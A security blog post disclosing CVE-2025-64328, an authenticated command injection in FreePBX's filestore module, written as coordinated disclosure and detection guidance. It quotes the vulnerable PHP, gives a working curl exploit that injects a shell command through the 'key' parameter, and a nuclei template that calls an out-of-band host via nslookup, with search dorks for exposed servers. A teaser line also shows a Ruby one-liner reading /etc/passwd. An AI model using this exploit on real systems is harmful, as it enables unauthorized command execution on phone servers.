CVE-2025-64328 FreePBX Authenticated Command Injection
Overview
I recently decided to take a look at FreePBX after reading watchTowr’s awesome blog post detailing an auth bypass -> SQLi -> RCE. As I read it, I saw that the project was:

* fwiw i’m not a ‘omg php is so insecure!!!1!’, i just enjoy auditing php projects. extensively learn whatever you are comfortable using and you’ll probably end up with a pretty secure app.
So, I installed it and started poking around at a few different functions, and then eventually landed on an authenticated command injection in the administrative control panel. The project has pretty extensive controls that can be used to restrict access to this interface, so it wasn’t exactly a “sky is falling” vuln like watchTowr disclosed, but the interesting thing I noticed is that all the user needed was access to authenticate to the interface. They didn’t need any authorization to anything in particular once they were in.
In this post I’ll include a basic proof of concept as well as a nuclei template for detecting this. The official published advisory is available here:
https://github.com/FreePBX/security-reporting/security/advisories/GHSA-vm9p-46mv-5xvwThis was my first time working through a disclosure via Github’s security policy in a project. I have to say it is pretty neat/easy. FreePBX was really easy to work with as well through the policy. I’m a fan.
After authenticating to the FreePBX Administration GUI, the framework module and testconnection command are reachable via a request to:
http://<freepbx-host-or-ip>/admin/ajax.php?module=filestore&command=testconnection
This logic is defined in Filestore.class.php on line 167 here:
public function ajaxHandler(){
switch($_REQUEST['command']) {
case 'grid':
return $this->listItems($_REQUEST['driver'], true);
break;
case 'testconnection':
$result = "";
$driver = basename($_REQUEST['driver']);
include("drivers/$driver/testconnection.php");
if($driver == "FTP") {
if($_REQUEST['usesftp'] == "yes") {
$result = check_sftp_connect($_REQUEST['host'], $_REQUEST['port'], $_REQUEST['timeout'], $_REQUEST['user'], $_REQUEST['password'], $_REQUEST['path']);
}
else {
$result = check_ftp_connect($_REQUEST['host'], $_REQUEST['port'], $_REQUEST['timeout'], $_REQUEST['usetls'], $_REQUEST['user'], $_REQUEST['password'], $_REQUEST['path'], $_REQUEST['transfer']);
}
}
elseif($driver == "Dropbox") {
$result = check_dropbox_connect($_REQUEST['token'], $_REQUEST['path']);
}
elseif($driver == "SSH") {
$result = check_ssh_connect($_REQUEST['host'], $_REQUEST['port'], $_REQUEST['user'], $_REQUEST['key'], $_REQUEST['path']);
}
By specifying testconnection via the command HTTP GET parameter, this causes the logic to execute the statements from lines 168-190. Because this vulnerability is in the SSH portion, the HTTP Request variable, assigned to $driver on line 169 needs to be set to SSH. When driver=SSH, the condition on line 182 will be met and the check_ssh_connect() function will be called.
check_ssh_connect() is defined in testconnection.php on line 2 here:
function check_ssh_connect($host, $port, $user, $key, $path) {
$keypath = dirname($key);
$publickey = "$key.pub";
if(!is_dir($keypath)) {
exec("mkdir -p $keypath");
}
if(!file_exists($key)) {
exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");
}
The check_ssh_connect() accepts five HTTP request variables: host, port, user, key, and path. All of them must be present otherwise an exception will be thrown.
The $key variable is what we will focus on, though others are vulnerable as well.
$key is leveraged to create a directory name via the dirname() method, which is saved in $keypath. This value is used without being checked in the exec("mkdir -p $keypath"); function so long as the $keypath value is not an existing directory. We can inject values into this so long as there is a / and some text after, example below:
# php -r 'echo dirname("`<thisisacommand>`/anything");'
`<thisisacommand>`
This is the first sink, which will execute something like this on the system (output is courtesty of one of my favorite tools pspy):
2025/09/13 21:49:50 CMD: UID=999 PID=222197 | sh -c mkdir -p asdf`id`
2025/09/13 21:49:50 CMD: UID=999 PID=222198 | sh -c mkdir -p asdf`id`
However, we don’t even really need the / as on line 9, $key is passed directly to an ssh-keygen command without being checked:
exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" && chown asterisk:asterisk $key && chmod 600 $key");
so long as the $key value is not an existing file. This is the second sink, and executes something like this:
2025/09/13 21:51:53 CMD: UID=999 PID=222924 | sh -c ssh-keygen -t ecdsa -b 521 -f asdf`id` -N "" && chown asterisk:asterisk asdf`id` && chmod 600 asdf`id`
As illustrated, both sinks result in several executions of the command from a single request.
For clarity in the proof of concepts below:
192.168.122[.]206.192.168.122[.]216.For the testing user lowprivuser, I used the initial Administrative user to create a new user in User Management. The user was granted Allow FreePBX Administration Login = Yes. Administration Access was left to None selected.
The command injection via the key parameter in a request looks like this:
key=asdf`echo%20rcetest2>/var/www/html/rcetest.txt`
Ultimately, the exploit can be condensed to a single curl command using the --next flag and the --cookie-jar flag.
$ curl -s \
-XPOST --cookie-jar /tmp/freepbx-cookie --data 'username=lowprivuser&password=<lowprivuserpassword>' http://192.168.122.206/admin/config.php -o /dev/null \
--next \
--cookie /tmp/freepbx-cookie -H 'Referer: http://192.168.122.206' 'http://192.168.122.206/admin/ajax.php?module=filestore&command=testconnection&driver=SSH&host=127.0.0.1&user=asdf&port=22&key=asdf`echo%20rcetest2>/var/www/html/rcetest.txt`&path=test' | jq
{
"status": true,
"message": "Login failed"
}
$ curl -sk http://192.168.122.206/rcetest.txt
rcetest2
The Referer HTTP header must be present in the second request otherwise it returns the following error and the exploit fails:
{"error":"ajaxRequest declined - Referrer"}
If you need a nuclei template to check for it, this uses oast (interactsh) to discover it along with a provided username and password:
id: CVE-2025-64328
info:
name: FreePBX - Authenticated Command Injection in Administration panel
author: _th3y
severity: high
description: |
FreePBX 17 contains a command injection caused by insufficiently sanitized user-supplied data in the testconnection -> check_ssh_connect() function within the filestore module, allowing authenticated attackers execute arbitrary shell commands as the asterisk user.
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 8.6
cve-id: CVE-2025-64328
cpe: cpe:2.3:a:sangoma:freepbx:*:*:*:*:*:*:*:*
reference:
- https://github.com/FreePBX/security-reporting/security/advisories/GHSA-vm9p-46mv-5xvw
metadata:
vendor: sangoma
product: freepbx
shodan-query:
- http.title:"freepbx"
- http.favicon.hash:"-1908328911"
- http.favicon.hash:"1574423538"
- http.title:"freepbx administration"
fofa-query:
- icon_hash="-1908328911"
- icon_hash="1574423538"
- title="freepbx administration"
- title="freepbx"
google-query:
- intitle:"freepbx administration"
- intitle:"freepbx"
tags: cve,cve2025,freepbx,rce,oast,authenticated,vuln
variables:
username: "{{username}}"
password: "{{password}}"
cmd: "nslookup {{interactsh-url}}"
prefix: "{{rand_text_alpha(5)}}"
flow: http(1) && http(2)
http:
- method: POST
path:
- "{{BaseURL}}/admin/config.php"
headers:
Content-Type: application/x-www-form-urlencoded
body: "username={{username}}&password={{password}}"
matchers:
- type: word
part: body
words:
- 'FreePBX Administration'
- 'Hello, {{username}}'
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/admin/ajax.php?module=filestore&command=testconnection&driver=SSH&host=127.0.0.1&user={{prefix}}&port=22&key={{prefix}}`{{cmd}}`&path={{prefix}}"
headers:
Referer: "{{BaseURL}}"
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- "http"
Overview When I was starting out in penetration testing, it always confused me how folks would say they worked using a simple CLI only linux machine in a VPS...
Overview I recently noticed quite a few folks recently looked at Nagios XI. Some even pulled the obfuscated stuff apart which I thought was really awesome! I...
CVE-2021-42840 This one will be a bit short, since severity/impact/video/etc is all identical to my post on the previous SuiteCRM RCE.
Path traversal in File Upload leads to Remote Code Execution in Chamilo LMS Overview It’s been a bit since I spent some time looking for a web vuln… And this...
tldr/oneliner ruby -e '"".class.ancestors[3].system("cat /etc/passwd")' Why? So I was doing a bit of reading on SSTI, specifically that of Jinja/python which...
Remediation testing I found another vulnerability during remediation testing, and that writeup can be found here.
TL;DR Just go to the Demo Or, just go to the Demo Round 2 for reverse tunneling Accessing Resources Behind Multiple Resources At some point, you may run into...
How to get a Shell on your Router (hopefully) Vulnerability hunting is hard, and it’s even harder if you don’t have access to the source. Hardware devices ma...